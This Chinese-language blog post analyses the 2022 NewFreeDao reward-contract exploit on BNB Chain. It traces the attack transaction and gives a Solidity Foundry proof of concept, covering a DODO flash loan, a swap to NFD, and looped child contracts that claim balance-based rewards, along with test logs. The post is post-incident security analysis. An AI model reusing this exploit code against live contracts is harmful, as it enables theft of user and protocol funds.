NewFreeDao获取奖励漏洞分析

说明

前面分享了一个有关ATK代币获取奖励的漏洞,本质上还是对于获取奖励机制的方法太过于简单。本篇文章分享的NewFreeDao也是奖励机制存在问题,和ATK的漏洞一样,存在漏洞的合约也是一个闭源合约,但还是被攻击了。

漏洞合约是一个闭源合约,0x8B068E22E9a4A9bcA3C321e0ec428AbF32691D1E

NewFreeDao,是用于奖励的代币

攻击交易,0x1fea385acf7ff046d928d4041db017e1d7ead66727ce7aacb3296b9d485d4a26

漏洞分析

正常交易分析

因为漏洞合约是一个闭源合约,所以我们并不能通过合约分析出漏洞位置和原理,还是通过已有的交易来分析漏洞点。

本次分析的正常的交易是:0x92c72bb1d47ab30abb1cf2ee55137e1001383bfdf9ae4c51f18644425386e2e8

调用漏洞合约的0x6811e3b9方法,就获得了NFD的代币。

分析调用栈信息:0x92c72bb1d47ab30abb1cf2ee55137e1001383bfdf9ae4c51f18644425386e2e8

根据调用栈分析:

  1. 调用漏洞合约中0x6811e3b9()
  2. 漏洞合约计算目标账户中的NFD代币余额
  3. 根据第二步中的计算账户中的NFD的数量发布奖励

根据0x6811e3b9()的说法,我们账户中如果存在大量的NFD代币,那么响应的获取的奖励也就越多。那么我们就可以通过闪电贷完成这样的攻击。

攻击交易分析

攻击合约分析,0x1fea385acf7ff046d928d4041db017e1d7ead66727ce7aacb3296b9d485d4a26

通过分析攻击交易中的Token转移交易,猜测内部的交易过程如下:

  1. 攻击合约0xa35ef9fa2f5e0527cb9fbb6f9d3a24cfed948863通过闪电贷最终获得大量的NFD
  2. 攻击合约创建子合约0x9f49375d30dd556776c14e95fb2502ac7e09a281,并向子合约转账NFD
  3. 漏洞合约合约0x8B068E22E9a4A9bcA3C321e0ec428AbF32691D1E向子合约0x9f49375d30dd556776c14e95fb2502ac7e09a281转账(估计是获得了代币奖励)
  4. 重复2-3步,不断滴获得代币奖励

通过Tokens Transferred,大致猜测出了攻击合约的调用方法。

通过调用栈分析,0x1fea385acf7ff046d928d4041db017e1d7ead66727ce7aacb3296b9d485d4a26

第一步,通过闪电贷获得WBNB之后,将WBNB通过swap,替换为NewFreeDAO

image-20221014214053097

第二步,攻击合约(0xa35ef9fa2f5e0527cb9fbb6f9d3a24cfed948863)创建子合约(0x9f49375d30dd556776c14e95fb2502ac7e09a281),并向子合约转账NFD

第三步,子合约(0x9f49375d30dd556776c14e95fb2502ac7e09a281调用漏洞合约(0x8b068e22e9a4a9bca3c321e0ec428abf32691d1e)的获取奖励方法0x6811e3b9

image-20221014215440027

最终通过子合约获得的奖励,全部转移到攻击合约(0x8b068e22e9a4a9bca3c321e0ec428abf32691d1e)中。

第四步,子合约自行销毁

image-20221014220009927

第五步,攻击合约(0x8b068e22e9a4a9bca3c321e0ec428abf32691d1e)继续创建子合约重复步骤二、步骤三、步骤四

image-20221014220428795

漏洞复现

既然通过攻击交易0x1fea385acf7ff046d928d4041db017e1d7ead66727ce7aacb3296b9d485d4a26,明白了整个攻击流程。我们模仿这个攻击分步写出Poc。

本次的漏洞复现分成三部分:

第一步

通过DODO闪电贷出250个WBNB,然后在PancakeRouter中变为NFD的token,作为攻击的初始攻击资产。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
DVM(dodo).flashLoan(0, 250*1e18, address(this), data);

function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
require(IERC20(wbnb).balanceOf(address(this)) == quoteAmount, "Invalid WBNB amount");
require(quoteAmount == 250*1e18, "Invalid WBNB amount");

console.log("Swap 250 WBNB to NFD...");
address[] memory path = new address[](3);
path[0] = wbnb;
path[1] = usdt;
path[2] = nfd;
IERC20(wbnb).approve(address(PancakeRouter), type(uint256).max);
// 将通过闪电贷获得的250 WBNB全部swap成为NFD
PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(quoteAmount, 0, path, address(this), block.timestamp);
...
}

第二步

创建子合约,并将资金全部转移到子合约中,这里为了方便演示,仅仅只是循环创建一个子合约。

1
2
3
4
5
6
7
8
9
10
console.log("Abuse the Reward Contract...");
for(uint8 i; i < 1; i++){
// 创建子合约
Exploit exploit = new Exploit();
uint256 nfdAmount = IERC20(nfd).balanceOf(address(this));
// 将闪电贷得到的NFD转给子合约
IERC20(nfd).transfer(address(exploit), nfdAmount);
// 调用子合约的攻击函数
exploit.abuse();
}

第三步

子合约调用漏洞合约(0x8B068E22E9a4A9bcA3C321e0ec428AbF32691D1E)的0x6811e3b9函数,领取奖励,并将奖励和资产又全部转移到攻击合约中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 子合约代码
contract Exploit is Test {
address constant rewardContract = vulnContract;
address constant nfd = 0x38C63A5D3f206314107A7a9FE8cBBa29D629D4F9;

// Function 0xe2f9d09c
function abuse() external {
// 调用漏洞函数的0x6811e3b9方法,获取奖励
rewardContract.call(abi.encode(bytes4(0x6811e3b9)));
uint256 bal = IERC20(nfd).balanceOf(address(this));
// 通过IERC20(nfd).transfer(msg.sender, bal),将NFD转给攻击合约
require(IERC20(nfd).transfer(msg.sender, bal), "Transfer profit failed");
}
}

第四步

攻击合约继续重复步骤三和步骤四,不断获取奖励。

第五步

归还闪电贷还款。

在实际测试过程中,我为了方便查看分析结果,仅仅只是进行了1次循环攻击,发现整个攻击攻击最终是revert了,循环50次之后攻击,攻击交易就成功了。后面分析攻击失败的原因,是在于循环一次攻击虽然也获得了盈利,但是因为最开始需要将贷出的WBNB换成NFD,最终归还闪电贷时需要将NFD换成WBNB,这个中间存在滑点,所以如果仅仅只是循环攻击一次,那么最终滑点导致的损失可能不足以支付闪电贷而失败了。日志情况如下所示:

1
2
3
4
5
6
7
8
9
10
11
# 初始情况是,250 WBNB
log_named_decimal_uint(key: [*] WBNB before attack, val: 250000000000000000000, decimals: 18)

# 250WBNB兑换为NFD是,6313508
log_named_decimal_uint(key: [*] NFD balance before attack, val: 6313508973101744640040048, decimals: 18)

# 进行一次攻击获得的NFD是6838792 ,比较攻击之前多了大约是500000个NFD
log_named_decimal_uint(key: [*] NFD balance after attack, val: 6838792919663809794091378, decimals: 18)

# 最终将所有的 6838792个 NFD全部转换诶WBNB,只有 177个
log_named_decimal_uint(key: [*] wbnb balance after attack, val: 177077916331461591092, decimals: 18)

可以看到虽然NFD变多了,但是最后兑换出来的WBNB却变少了,所以只进行一次攻击是不够的。

最终利用forge测试得到的调用栈信息如下所示:

DODO闪电贷

通过PancakeRouter,将WBNB兑换为NFD

创建子合约准备实施攻击

子合约调用abuse()方法获得奖励并将奖励转移到攻击合约中

攻击合约继续循环创建子合约实施攻击获取奖励。

归还闪电贷

image-20221016164633081

以上就是整个攻击过程的分析。

总结

NewFreeDao的漏洞基本上和前面的ATK的漏洞点是一样的。发放奖励的标准是根据账户中的Token的数量,同时也没有限制账户是EOA账户,最终导致了攻击事件。

NewFreeDao和ATK这两个代币是没有漏洞的,漏洞都是出现在奖励发放的合约上,虽然这两个奖励发放合约都是闭源的,但是并不能保证不被攻击,根本的方法还是需要加强对合约的安全性的测试。

参考

https://bscscan.com/tx/0x1fea385acf7ff046d928d4041db017e1d7ead66727ce7aacb3296b9d485d4a26

https://twitter.com/SlowMist_Team/status/1567854876633309186

https://twitter.com/peckshield/status/1567710274244825088

https://twitter.com/BeosinAlert/status/1567757251024396288

https://twitter.com/BlockSecTeam/status/1567706201277988866

文章作者: Oooverflow
文章链接: https://www.oooverflow.com/2022/10/15/NewFreeDao-vuln/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Oooverflow